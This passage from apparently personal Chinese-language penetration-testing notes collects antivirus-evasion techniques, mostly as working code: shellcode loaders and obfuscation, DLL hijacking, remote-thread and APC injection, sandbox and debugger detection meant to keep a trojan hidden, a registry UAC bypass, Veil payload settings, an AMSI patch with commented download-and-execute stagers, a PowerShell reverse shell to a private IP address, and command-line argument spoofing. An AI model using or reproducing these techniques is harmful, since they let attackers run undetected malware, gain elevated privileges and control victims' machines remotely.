PAGE_EXECUTE_READWRITE); 1406 | Marshal.Copy(heihei, 0, (IntPtr)(funcAddr), heihei.Length); 1407 | IntPtr hThread = IntPtr.Zero; 1408 | UInt32 threadId = 0; 1409 | IntPtr pinfo = IntPtr.Zero; 1410 | uint lpflOldProtect = 0x01; 1411 | VirtualProtect((IntPtr)(funcAddr), (UInt32)heihei.Length, 0x10, lpflOldProtect); 1412 | /// execute native code 1413 | hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); 1414 | WaitForSingleObject(hThread, 0xFFFFFFFF); 1415 | } 1416 | private static byte[] l337deCryptPlusPlus(byte[] buf) 1417 | { 1418 | StringBuilder lolbuf = new StringBuilder(); 1419 | 1420 | byte[] bufclone = (byte[])buf.Clone(); 1421 | for (int i = 0; i < buf.Length; i++) 1422 | { 1423 | for (int n = 0; n < i; n++) 1424 | { 1425 | bufclone[i]--; 1426 | } 1427 | } 1428 | return bufclone; 1429 | } 1430 | 1431 | [DllImport("kernel32")] 1432 | private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); 1433 | [DllImport("kernel32")] 1434 | public static extern Boolean VirtualProtect(IntPtr lpAddress, UInt32 dwSize, uint flNewProtect, uint lpflOldProtect); 1435 | [DllImport("kernel32")] 1436 | private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType); 1437 | [DllImport("kernel32")] 1438 | private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId); 1439 | [DllImport("kernel32")] 1440 | private static extern bool CloseHandle(IntPtr handle); 1441 | [DllImport("kernel32")] 1442 | private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); 1443 | [DllImport("kernel32")] 1444 | private static extern IntPtr GetModuleHandle(string moduleName); 1445 | [DllImport("kernel32")] 1446 | private static extern UInt32 GetProcAddress(IntPtr hModule, string procName); 1447 | [DllImport("kernel32")] 1448 | private static extern UInt32 LoadLibrary(string lpFileName); 1449 | [DllImport("kernel32")] 1450 | private static extern UInt32 GetLastError(); 1451 | [DllImport("kernel32")] 1452 | static extern IntPtr GetConsoleWindow(); 1453 | [DllImport("User32")] 1454 | private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); 1455 | } 1456 | } 1457 | ``` 1458 | #### 字节替换 1459 | ```c 1460 | //encrypt 1461 | import sys 1462 | def main(argv): 1463 | filename = argv[1] 1464 | with open(filename,"r") as f: 1465 | st = f.read() 1466 | s = st.split(" \"")[1].split("\";")[0].replace("\\x"," ")[1:] 1467 | tmp_1 = "" 1468 | tmp_2 = "" 1469 | s = s.split(" ") 1470 | for i in range(len(s)): 1471 | if i % 3 == 0: 1472 | tmp_1 = tmp_1 + "\\x" + s[i] 1473 | s[i] = "00" 1474 | 1475 | t = "\\x".join(s) 1476 | print("unsigned char data[] = \"\\x"+t+"\";") 1477 | print("char a1[] = \""+tmp_1+"\";") 1478 | 1479 | if __name__ == "__main__": 1480 | main(sys.argv) 1481 | ``` 1482 | 1483 | ```c 1484 | //decrypt 1485 | for (int i = 0; i < sizeof(a1); i++) { 1486 | memcpy(&data[i * 3], &a1[i], 1); 1487 | } 1488 | ``` 1489 | 1490 | ## Dll hijacking 1491 | ### 通用Dll劫持技术---SuperHijacking 1492 | 1493 | https://anhkgg.com/dllhijack/ 1494 | https://github.com/anhkgg/anhkgg-tools 1495 | ![-w503](https://i.loli.net/2021/01/18/L15tG9ci3UAIpla.jpg) 1496 | 1497 | ![-w530](https://i.loli.net/2021/01/18/8fejE1ApGcMwSOZ.jpg) 1498 | 1499 | 代码实现 1500 | ```c 1501 | void* NtCurrentPeb() 1502 | { 1503 | __asm { 1504 | mov eax, fs:[0x30]; 1505 | } 1506 | } 1507 | PEB_LDR_DATA* NtGetPebLdr(void* peb) 1508 | { 1509 | __asm { 1510 | mov eax, peb; 1511 | mov eax, [eax + 0xc]; 1512 | } 1513 | } 1514 | VOID SuperDllHijack(LPCWSTR dllname, HMODULE hMod) 1515 | { 1516 | WCHAR wszDllName[100] = { 0 }; 1517 | void* peb = NtCurrentPeb(); 1518 | PEB_LDR_DATA* ldr = NtGetPebLdr(peb); 1519 | 1520 | //InLoadOrderModuleList; 模块加载顺序 1521 | for (LIST_ENTRY* entry = ldr->InLoadOrderModuleList.Blink; 1522 | entry != (LIST_ENTRY*)(&ldr->InLoadOrderModuleList); 1523 | entry = entry->Blink) { 1524 | PLDR_DATA_TABLE_ENTRY data = (PLDR_DATA_TABLE_ENTRY)entry; 1525 | 1526 | memset(wszDllName, 0, 100 * 2); 1527 | memcpy(wszDllName, data->BaseDllName.Buffer, data->BaseDllName.Length); 1528 | 1529 | if (!_wcsicmp(wszDllName, dllname)) { 1530 | data->DllBase = hMod; 1531 | break; 1532 | } 1533 | } 1534 | } 1535 | VOID DllHijack(HMODULE hMod) 1536 | { 1537 | TCHAR tszDllPath[MAX_PATH] = { 0 }; 1538 | 1539 | GetModuleFileName(hMod, tszDllPath, MAX_PATH); 1540 | PathRemoveFileSpec(tszDllPath); 1541 | PathAppend(tszDllPath, TEXT("mydll.dll.1")); 1542 | 1543 | HMODULE hMod1 = LoadLibrary(tszDllPath); 1544 | 1545 | SuperDllHijack(L"mydll.dll", hMod1); 1546 | } 1547 | BOOL APIENTRY DllMain( HMODULE hModule, 1548 | DWORD ul_reason_for_call, 1549 | LPVOID lpReserved 1550 | ) 1551 | { 1552 | switch (ul_reason_for_call) 1553 | { 1554 | case DLL_PROCESS_ATTACH: 1555 | DllHijack(hModule); 1556 | break; 1557 | case DLL_THREAD_ATTACH: 1558 | case DLL_THREAD_DETACH: 1559 | case DLL_PROCESS_DETACH: 1560 | break; 1561 | } 1562 | return TRUE; 1563 | } 1564 | ``` 1565 | 1566 | InLoadOrderModuleList 确认模块加载顺序 1567 | 1568 | 核心函数 1569 | ```c 1570 | //向前遍历peb->ldr找到mydll.dll的ldrentry,然后修改dllbase为hMod 1571 | for (LIST_ENTRY* entry = ldr->InLoadOrderModuleList.Blink; 1572 | entry != (LIST_ENTRY*)(&ldr->InLoadOrderModuleList); 1573 | entry = entry->Blink) { 1574 | PLDR_DATA_TABLE_ENTRY data = (PLDR_DATA_TABLE_ENTRY)entry; 1575 | 1576 | memset(wszDllName, 0, 100 * 2); 1577 | memcpy(wszDllName, data->BaseDllName.Buffer, data->BaseDllName.Length); 1578 | 1579 | if (!_wcsicmp(wszDllName, dllname)) { 1580 | data->DllBase = hMod; 1581 | break; 1582 | } 1583 | } 1584 | ``` 1585 | 1586 | ![-w837](https://i.loli.net/2021/01/18/5piGw7DIMQoCqeA.jpg) 1587 | 1588 | ![-w987](https://i.loli.net/2021/01/18/81g2XzoWVwxCvKa.jpg) 1589 | 1590 | ![-w878](https://i.loli.net/2021/01/18/843SAxOLsgXoUFi.jpg) 1591 | 1592 | 1593 | ## Dll injection 1594 | 总结: https://www.cnblogs.com/uAreKongqi/p/6012353.html 1595 | ### 摘要 1596 | 常见方法: 1597 | * 创建新线程 1598 | * 插入Apc队列 1599 | * 手动实现LoadLibrary 1600 | * ~~修改注册表~~ 1601 | * ~~挂钩窗口消息~~ 1602 | * ~~设置线程上下背景文,修改寄存器~~ 1603 | 1604 | ### CreateRemoteThread(NewProcess) 1605 | Sysmon对Event ID 8: CreateRemoteThread有监控 1606 | 1607 | ```c 1608 | STARTUPINFOEXA si; 1609 | PROCESS_INFORMATION pi; 1610 | 1611 | ZeroMemory(&si, sizeof(si)); 1612 | si.StartupInfo.cb = sizeof(STARTUPINFOEXA); 1613 | si.StartupInfo.dwFlags = STARTF_USESHOWWINDOW; 1614 | 1615 | BOOL success = CreateProcessA( 1616 | NULL, 1617 | (LPSTR)"C:\\Windows\\System32\\mblctr.exe", 1618 | NULL, 1619 | NULL, 1620 | true, 1621 | CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT, 1622 | NULL, 1623 | NULL, 1624 | reinterpret_cast(&si), 1625 | &pi); 1626 | // Assign our attribute 1627 | 1628 | HANDLE notepadHandle = pi.hProcess; 1629 | LPVOID remoteBuffer = VirtualAllocEx(notepadHandle, NULL, sizeof data, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); 1630 | 1631 | WriteProcessMemory(notepadHandle, remoteBuffer, data, sizeof data, NULL); 1632 | HANDLE remoteThread = CreateRemoteThread(notepadHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL); 1633 | 1634 | if (WaitForSingleObject(remoteThread, INFINITE) == WAIT_FAILED) { 1635 | return 1; 1636 | } 1637 | ``` 1638 | 1639 | ### 异步过程调用(APC)注入 1640 | 1641 | 1. 概念 1642 | APC可以看成就是内核里的定时器, 为了给自己一个在本函数返回后还能执行的一次机会, 有很多操作是需要在函数返回后才能执行, APC类似于析构函数但不完全是. 1643 | 1644 | 1645 | 2. 特点 1646 | apc的最大特点就是在本函数返回后才执行, 而且是在本线程中. 1647 | 1648 | 对于用户模式下的APC队列,当线程处在`alertable`状态时才去执行这些APC函数。因此,在ring3 User-Mode下最暴力的办法就是给每个线程设置成alertable(遍历线程的时候从后往前遍历着插入就不会崩溃) 1649 | 1650 | > alertable “可唤醒的” 1651 | > SleepEx()---->KeDelayExecutionThread() 1652 | > WaitForSingleObject()---->KeWaitForSingleObject() 1653 | > WaitForMultipleObjects()---->KeWaitForMultipleObjects() 1654 | > 1655 | > 当上述调用发生时,线程Alertable被置为TRUE。同时,还会通过宏TestForAlertPending设置KTHREAD的另外一个成员:UserApcPending,当Alertable为TRUE,并且User APC队列不为空,那么该值将被置为TRUE。 1656 | 1657 | APC注入分为内核(驱动)APC注入 和 User-Mode APC注入两种,在内核态进行APC注入时不需要考虑`alertable` 1658 | 1659 | 3. 执行时间 1660 | apc它的执行时机有多,比如在线程wait、线程切换到应用层、线程被挂起等等等等,而且apc也分几个层次的优先级.就是说apc一般是不太需要立马执行的低优先级的函数。所以一旦线程有空隙了,windows就会执行一下. 1661 | 1662 | ```c# 1663 | string strShellCode = "[INSERT BASE64 SHELLCODE HERE]"; 1664 | byte[] shellcode = System.Convert.FromBase64String(strShellCode); 1665 | 1666 | STARTUPINFO si = new STARTUPINFO(); 1667 | PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); 1668 | bool success = CreateProcess(processpath, null, 1669 | IntPtr.Zero, IntPtr.Zero, false, 1670 | ProcessCreationFlags.CREATE_SUSPENDED, 1671 | IntPtr.Zero, null, ref si, out pi); 1672 | 1673 | 1674 | IntPtr resultPtr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, shellcode.Length,MEM_COMMIT, PAGE_READWRITE); 1675 | IntPtr bytesWritten = IntPtr.Zero; 1676 | bool resultBool = WriteProcessMemory(pi.hProcess,resultPtr,shellcode,shellcode.Length, out bytesWritten); 1677 | 1678 | IntPtr sht = OpenThread(ThreadAccess.SET_CONTEXT, false, (int)pi.dwThreadId); 1679 | uint oldProtect = 0; 1680 | resultBool = VirtualProtectEx(pi.hProcess,resultPtr, shellcode.Length,PAGE_EXECUTE_READ, out oldProtect); 1681 | IntPtr ptr = QueueUserAPC(resultPtr,sht,IntPtr.Zero); 1682 | IntPtr ThreadHandle = pi.hThread; 1683 | ResumeThread(ThreadHandle); 1684 | ``` 1685 | 1686 | ### Block DLL(Create New Process) 1687 | https://www.anquanke.com/post/id/190344 1688 | 1689 | ![-w979](https://i.loli.net/2021/01/18/q1lZIm74SnvpAjO.jpg) 1690 | https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute 1691 | 1692 | ![](https://i.loli.net/2021/01/18/CByOAzWKlPJvUhV.jpg) 1693 | ![](https://i.loli.net/2021/01/18/2UzRX1nflDeWtHF.jpg) 1694 | 1695 | 1696 | `/Users/boi/Documents/Work/Security/Pentest/bypassAV/blockdll_ACG/` 1697 | ```c 1698 | STARTUPINFOEXA si; 1699 | PROCESS_INFORMATION pi; 1700 | policy.ProhibitDynamicCode = 1; 1701 | 1702 | ZeroMemory(&si, sizeof(si)); 1703 | si.StartupInfo.cb = sizeof(STARTUPINFOEXA); 1704 | si.StartupInfo.dwFlags = STARTF_USESHOWWINDOW; 1705 | 1706 | // Get the size of our PROC_THREAD_ATTRIBUTE_LIST to be allocated 1707 | InitializeProcThreadAttributeList(NULL, 1, 0, &size); 1708 | 1709 | // Allocate memory for PROC_THREAD_ATTRIBUTE_LIST 1710 | si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc( 1711 | GetProcessHeap(), 1712 | 0, 1713 | size 1714 | ); 1715 | 1716 | // Initialise our list 1717 | InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size); 1718 | 1719 | // Enable blocking of non-Microsoft signed DLLs 1720 | DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON; 1721 | 1722 | // Assign our attribute 1723 | UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(policy), NULL, NULL); 1724 | ``` 1725 | 1726 | ### ACG(Arbitrary Code Guard) 1727 | 阻止杀软进程hook我们的进程后在进程内部使用VirtualAlloc等函数修改内存空间 1728 | 使其无法生成动态代码或修改现有的可执行代码. 1729 | 1730 | ![-w1500](https://i.loli.net/2021/01/18/3Er1jPwRuSTfKoi.jpg) 1731 | 1732 | 1733 | ```c 1734 | PROCESS_MITIGATION_DYNAMIC_CODE_POLICY acg_policy; 1735 | ZeroMemory(&acg_policy, sizeof(acg_policy)); 1736 | acg_policy.ProhibitDynamicCode = 1; 1737 | if (SetProcessMitigationPolicy(ProcessDynamicCodePolicy, &acg_policy, sizeof(acg_policy)) == false) { 1738 | MessageBoxA(NULL, "load testdll.dll error.", "error", MB_OK); 1739 | return 1; 1740 | } 1741 | ``` 1742 | 1743 | ### 内存动态加载DLL 1744 | https://github.com/fancycode/MemoryModule 1745 | 1746 | 1747 | 1748 | ## 虚拟机反调试 1749 | 那么问题来了,如何对抗云沙箱的检测呢?我们知道,很多杀软都有自己的后端云沙箱,这些沙箱能够模拟出软件执行所需的运行环境,通过进程hook技术来对软件执行过程中的行为进行分析,判断其是否有敏感的操作行为,或者更高级的检测手法是,将获取到的程序的API调用序列以及其他的一些行为特征输入到智能分析引擎中(基于机器学习org)进行检测。所以,如果我们的木马没有做好反调试,很容易就被沙箱检测出来。 1750 | 1751 | 最简单的反调试的措施就是检测父进程。一般来说,我们手动点击执行的程序的父进程都是explore。如果一个程序的父进程不是explor,那么我们就可以认为他是由沙箱启动的。那么我们就直接exit退出,这样,杀软就无法继续对我们进行行为分析了。具体的实现代码如下: 1752 | 1753 | ```c 1754 | DWORD get_parent_processid( DWORD pid ) 1755 | { 1756 | DWORD ParentProcessID = -1; 1757 | 1758 | PROCESSENTRY32 pe; 1759 | 1760 | HANDLE hkz; 1761 | 1762 | HMODULE hModule = LoadLibrary( _T( "Kernel32.dll" ) ); 1763 | 1764 | FARPROC Address = GetProcAddress( hModule, "CreateToolhelp32Snapshot" ); 1765 | 1766 | if ( Address == NULL ){ 1767 | OutputDebugString( _T( "GetProc error" ) ); 1768 | return(-1); 1769 | } 1770 | 1771 | _asm{ 1772 | push 0 1773 | push 2 1774 | call Address 1775 | mov hkz, eax 1776 | } 1777 | 1778 | pe.dwSize = sizeof(PROCESSENTRY32); 1779 | 1780 | if ( Process32First( hkz, &pe ) ){ 1781 | do{ 1782 | if ( pe.th32ProcessID == pid ){ 1783 | ParentProcessID = pe.th32ParentProcessID; 1784 | break; 1785 | } 1786 | } 1787 | while ( Process32Next( hkz, &pe ) ); 1788 | } 1789 | returnParentProcessID; 1790 | } 1791 | 1792 | 1793 | DWORD get_explorer_processid(){ 1794 | DWORD explorer_id = -1; 1795 | PROCESSENTRY32 pe; 1796 | HANDLE hkz; 1797 | HMODULE hModule = LoadLibrary( _T( "Kernel32.dll" ) ); 1798 | 1799 | if ( hModule == NULL ){ 1800 | OutputDebugString( _T( "Loaddll error" ) ); 1801 | return(-1); 1802 | } 1803 | FARPROCAddress = GetProcAddress( hModule, "CreateToolhelp32Snapshot" ); 1804 | 1805 | if ( Address == NULL ){ 1806 | OutputDebugString( _T( "GetProc error" ) ); 1807 | return(-1); 1808 | } 1809 | 1810 | _asm{ 1811 | push0 1812 | push2 1813 | callAddress 1814 | movhkz, eax 1815 | } 1816 | 1817 | pe.dwSize = sizeof(PROCESSENTRY32); 1818 | 1819 | if ( Process32First( hkz, &pe ) ){ 1820 | do{ 1821 | if ( _stricmp( pe.szExeFile, "explorer.exe" ) == 0 ) 1822 | { 1823 | explorer_id = pe.th32ProcessID; 1824 | break; 1825 | } 1826 | } 1827 | while ( Process32Next( hkz, &pe ) ); 1828 | } 1829 | returnexplorer_id; 1830 | } 1831 | 1832 | 1833 | void domain(){ 1834 | DWORD explorer_id = get_explorer_processid(); 1835 | DWORD parent_id = get_parent_processid( GetCurrentProcessId() ); 1836 | if ( explorer_id == parent_id ){ /* 判断父进程id是否和explorer进程id相同{ */ 1837 | dowork(); 1838 | } 1839 | else { 1840 | exit( 1 ); 1841 | } 1842 | } 1843 | ``` 1844 | 1845 | 这里主要的思路是获取调用kernel32库中的CreateToolhelp32Snapshot函数获得一个进程快照信息,然后从快照中获取到explorer.exe的进程id信息,然后通过当前进程的pid信息在进程快照中找到其父进程的id信息,最后将两者进行比较,判断当前进程是否是有人工启动的。 1846 | 1847 | 反调试的措施不仅仅是检测父进程,还可以通过调用windows的API接口IsDebuggerPresent来检查当前进程是否正在被调试。 1848 | 1849 | TODO: 检测反调试的话,还可以通过检查进程堆的标识符号来实现,系统创建进程时会将Flags置为0×02(HEAP_GROWABLE),将ForceFlags置为0。但是进程被调试时,这两个标志通常被设置为0x50000062h和0x40000060h。当然还可以利用特权指令in eax,dx来做免杀。 1850 | 1851 | ## UAC 1852 | ### visual Studio下设置UAC需求 1853 | ![-w922](https://i.loli.net/2021/01/18/XNOJmQn84xAfU6j.jpg)/Users/boi/Desktop/特征信息/md 1854 | 1855 | 1856 | ### CompyterDefaults.exe 1857 | 注意在unicode环境下,需要通过`(PBYTE)&`来转换`CHAR *`类型的字符串。 1858 | 以及GetModuleFileNameA与GetModuleFileName的区别:字符串编码的区别 1859 | ```c 1860 | //bypass UAC 高权限启动当前进程 1861 | //GetModuleFileNameA: 获取当前文件完整路径 1862 | #undef _UNICODE 1863 | #define _UNICODE 1864 | #undef UNICODE 1865 | #define UNICODE 1866 | #define _CRT_SECURE_NO_WARNINGS 1867 | 1868 | CHAR cwd[256]; 1869 | GetModuleFileNameA(NULL, cwd, sizeof(cwd));//"cmd.exe" 1870 | LPCTSTR gname = "DelegateExecute"; 1871 | HKEY hkResult = NULL; 1872 | int ret = RegCreateKeyA(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings\\shell\\open\\command", &hkResult); 1873 | ret = RegSetValueExA(hkResult, (const BYTE*)"DelegateExecute", 0, REG_SZ, "", 1); 1874 | ret = RegSetValueExA(hkResult, NULL, 0, REG_SZ, (PBYTE)&cwd, strlen(cwd) + 1); 1875 | RegCloseKey(hkResult); 1876 | system("C:\\windows\\system32\\ComputerDefaults.exe"); 1877 | exit(1); 1878 | ``` 1879 | 1880 | ## Other 1881 | 1882 | ### C# 函数变换 1883 | [https://github.com/DamonMohammadbagher/NativePayload_Reverse_tcp]() 1884 | 1885 | ```c# 1886 | public static UInt32 funcAddr; 1887 | [DllImport("kernel32")] 1888 | public static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); 1889 | 1890 | 1891 | public delegate UInt32 V(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); 1892 | 1893 | V v = Hide.code.b._classs.VirtualAlloc; 1894 | 1895 | Hide.code.b.funcAddr = v(0, (UInt32)Hide.code.a.ftp.Length, Hide.hide2.hide3.MMC, Hide.hide2.hide3.PERE); 1896 | 1897 | ``` 1898 | 1899 | 1900 | 1901 | ### go 内联免杀 1902 | 360 + 火绒 1903 | ```c 1904 | package main 1905 | /* 1906 | void call(char *code) { 1907 | int (*ret)() = (int(*)())code; 1908 | ret(); } 1909 | */ 1910 | import "C" 1911 | import "unsafe" 1912 | func main() { 1913 | buf := "cobaltstrike python shellcode(x86/x64)" 1914 | shellcode := []byte(buf) 1915 | C.call((*C.char)(unsafe.Pointer(&shellcode[0]))) } 1916 | ``` 1917 | 1918 | ### AVIator 1919 | 360 + 火绒 1920 | ``` 1921 | https://github.com/Ch0pin/AVIator 1922 | ``` 1923 | [AvIator360](media/AvIator360.exe) 1924 | 1925 | ### cs + veil 1926 | 360 + 火绒 1927 | ![-w377](https://i.loli.net/2021/01/18/LnvS6cHEbAgpDXO.jpg) 1928 | 1929 | 1930 | ```bash 1931 | cs -> veil -> use 1 -> use 17 -> generate(bypass 360/火绒) 1932 | sh-4.4# veil 1933 | Veil>: use 1 1934 | Veil/Evasion>: use 17 //如下图 1935 | ``` 1936 | ![-w767](https://i.loli.net/2021/01/18/QvVYamudNPxXLMq.jpg) 1937 | 1938 | ``` 1939 | BADMACS 设置为Y表示 查看运行环境的MAC地址如果不是虚拟机才会执行payload (反调试) 1940 | CLICKTRACK 设置为4表示 表示需要4次点击才会执行 1941 | CURSORCHECK 设置为100表示 运行环境的硬盘大小如果大于100GB才会执行payload (反沙箱) 1942 | COMPILE_TO_EXE 设置为Y表示 编译为exe文件 1943 | HOSTNAME 设置为Comp1表示 只有在Hostname计算机名为Comp1时才会执行payload(指定目标环境 反沙箱的方式) 1944 | INJECT_METHOD 可设置为Virtual 或 Heap 1945 | MINPROCS 设置为20表示 只有运行环境的运行进程数大于20时才会执行payload(指定目标环境 反沙箱的方式) 1946 | PROCCHECK 设置为Y表示 只有运行环境的进程中没有虚拟机进程时才会执行payload(指定目标环境 反沙箱的方式) 1947 | PROCESSORS 设置为2表示 只在至少2核的机器中才会执行payload(指定目标环境 反沙箱的方式) 1948 | RAMCHECK 设置为Y表示 只在运行环境的内存为3G以上时才会执行payload(指定目标环境 反沙箱的方式) 1949 | SLEEP 设置为10表示 休眠10秒 以检测是否运行过程中被加速(反沙箱) 1950 | USERNAME 设置为Tom表示 只有在当前用户名为Tom的机器中才执行payload。 1951 | USERPROMPT 设置为Y表示 在injection之前提醒用户(提示一个错误框,让用户误以为该程序执行错误才无法打开) 1952 | DEBUGGER 设置为Y表示 当被调试器不被attached时才会执行payload (反调试) 1953 | DOMAIN 设置为Comp表示 受害者计算机只有加入Comp域中时,才会执行payload(指定目标环境 反沙箱的方式) 1954 | UTCCHECK 设置为Y表示 只在运行环境的系统使用UTC时间时,才会执行payload 1955 | ``` 1956 | ```bash 1957 | [go/shellcode_inject/virtual>>]: generate 1958 | >> 3 1959 | ``` 1960 | ![-w770](https://i.loli.net/2021/01/18/36BGibxXYslznAR.jpg) 1961 | 1962 | ```bash 1963 | [>] Please enter the base name for output files (default is payload): test 1964 | ``` 1965 | ![-w667](https://i.loli.net/2021/01/18/igfI2YRDubzU9ph.jpg) 1966 | 1967 | ### Simple-Loader 免杀Defender 1968 | https://github.com/cribdragg3r/Simple-Loader 1969 | 1970 | ![-w1027](https://i.loli.net/2021/01/18/dSBPvIxk8hXuFa5.jpg) 1971 | 1972 | ### 反弹socket --- NativePayload_ReverseShell 1973 | ```powershell 1974 | powershell -c "$client = New-Object Net.Sockets.TCPClient('172.16.76.1',12345);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback +'> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" 1975 | ``` 1976 | 1977 | https://github.com/DamonMohammadbagher/NativePayload_ReverseShell 1978 | ![-w1008](https://i.loli.net/2021/01/18/x45X8iUBmda2I1H.jpg) 1979 | 1980 | 1981 | ### bypassAMSI 1982 | ```powershell 1983 | # mov eax, 80070057h 1984 | # ret 1985 | Write-Host "-- AMSI Patch" 1986 | Write-Host "-- Paul Laîné (@am0nsec)" 1987 | Write-Host "" 1988 | 1989 | ${Kern`eL32} = @" 1990 | using System; 1991 | using System.Runtime.InteropServices; 1992 | 1993 | public class Kernel32 { 1994 | [DllImport("kernel32")] 1995 | public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); 1996 | 1997 | [DllImport("kernel32")] 1998 | public static extern IntPtr LoadLibrary(string name); 1999 | 2000 | [DllImport("kernel32")] 2001 | public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); 2002 | } 2003 | "@ 2004 | 2005 | Add-Type ${Kern`el32} 2006 | [IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll") 2007 | ${A`DDRE`Ss} = [kernel32]::GetProcAddress($hModule, "Amsi"+"Scan"+"Buffer") 2008 | ${p} = 0 2009 | [kernel32]::VirtualProtect(${A`DdRes`S}, [uint32]5,0x40, [ref]${P}) 2010 | ${pat`ch} = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) 2011 | 2012 | If (${a`DDrEsS} -ne 0){ 2013 | [System.Runtime.InteropServices.Marshal]::Copy(${p`AT`cH}, 0, ${A`DdR`eSs}, 6) 2014 | } 2015 | # $string = 'iex ((new-object net.webclient).downloadstring("http://192.168.214.129/amsi-bypass")); if([Bypass.AMSI]::Disable() -eq "0") { iex ((new-object net.webclient).downloadstring("http://192.168.214.129/stager")) }' 2016 | ``` 2017 | 2018 | ### API替换 2019 | 如CreateThreadEx 替换CreateThread 2020 | 2021 | ### Spoofing CommandLine Argument 2022 | https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/ 2023 | 2024 | ```c 2025 | #include 2026 | #include 2027 | #include 2028 | 2029 | #define CMD_TO_SHOW "powershell.exe -NoExit -c Write-Host 'This is just a friendly argument, nothing to see here'" 2030 | #define CMD_TO_EXEC L"powershell.exe -NoExit -c Write-Host Surprise, arguments spoofed\0" 2031 | 2032 | typedef NTSTATUS(*NtQueryInformationProcess2)( 2033 | IN HANDLE, 2034 | IN PROCESSINFOCLASS, 2035 | OUT PVOID, 2036 | IN ULONG, 2037 | OUT PULONG 2038 | ); 2039 | 2040 | void* readProcessMemory(HANDLE process, void *address, DWORD bytes) { 2041 | SIZE_T bytesRead; 2042 | char *alloc; 2043 | 2044 | alloc = (char *)malloc(bytes); 2045 | if (alloc == NULL) { 2046 | return NULL; 2047 | } 2048 | 2049 | if (ReadProcessMemory(process, address, alloc, bytes, &bytesRead) == 0) { 2050 | free(alloc); 2051 | return NULL; 2052 | } 2053 | 2054 | return alloc; 2055 | } 2056 | 2057 | BOOL writeProcessMemory(HANDLE process, void *address, void *data, DWORD bytes) { 2058 | SIZE_T bytesWritten; 2059 | 2060 | if (WriteProcessMemory(process, address, data, bytes, &bytesWritten) == 0) { 2061 | return false; 2062 | } 2063 | 2064 | return true; 2065 | } 2066 | 2067 | int main(int argc, char **canttrustthis) 2068 | { 2069 | STARTUPINFOA si; 2070 | PROCESS_INFORMATION pi; 2071 | CONTEXT context; 2072 | BOOL success; 2073 | PROCESS_BASIC_INFORMATION pbi; 2074 | DWORD retLen; 2075 | SIZE_T bytesRead; 2076 | PEB pebLocal; 2077 | RTL_USER_PROCESS_PARAMETERS *parameters; 2078 | 2079 | printf("Argument Spoofing Example by @_xpn_\n\n"); 2080 | 2081 | memset(&si, 0, sizeof(si)); 2082 | memset(&pi, 0, sizeof(pi)); 2083 | 2084 | // Start process suspended 2085 | success = CreateProcessA( 2086 | NULL, 2087 | (LPSTR)CMD_TO_SHOW, 2088 | NULL, 2089 | NULL, 2090 | FALSE, 2091 | CREATE_SUSPENDED | CREATE_NEW_CONSOLE, 2092 | NULL, 2093 | "C:\\Windows\\System32\\", 2094 | &si, 2095 | &pi); 2096 | 2097 | if (success == FALSE) { 2098 | printf("[!] Error: Could not call CreateProcess\n"); 2099 | return 1; 2100 | } 2101 | 2102 | // Retrieve information on PEB location in process 2103 | NtQueryInformationProcess2 ntpi = (NtQueryInformationProcess2)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess"); 2104 | ntpi( 2105 | pi.hProcess, 2106 | ProcessBasicInformation, 2107 | &pbi, 2108 | sizeof(pbi), 2109 | &retLen 2110 | ); 2111 | 2112 | // Read the PEB from the target process 2113 | success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead); 2114 | if (success == FALSE) { 2115 | printf("[!] Error: Could not call ReadProcessMemory to grab PEB\n"); 2116 | return 1; 2117 | } 2118 | 2119 | // Grab the ProcessParameters from PEB 2120 | parameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory( 2121 | pi.hProcess, 2122 | pebLocal.ProcessParameters, 2123 | sizeof(RTL_USER_PROCESS_PARAMETERS) + 300 2124 | ); 2125 | 2126 | // Set the actual arguments we are looking to use 2127 | WCHAR spoofed[] = CMD_TO_EXEC; 2128 | success = writeProcessMemory(pi.hProcess, parameters->CommandLine.Buffer, (void*)spoofed, sizeof(spoofed)); 2129 | if (success == FALSE) { 2130 | printf("[!] Error: Could not call WriteProcessMemory to update commandline args\n"); 2131 | return 1; 2132 | } 2133 | 2134 | /////// Below we can see an example of truncated output in ProcessHacker and 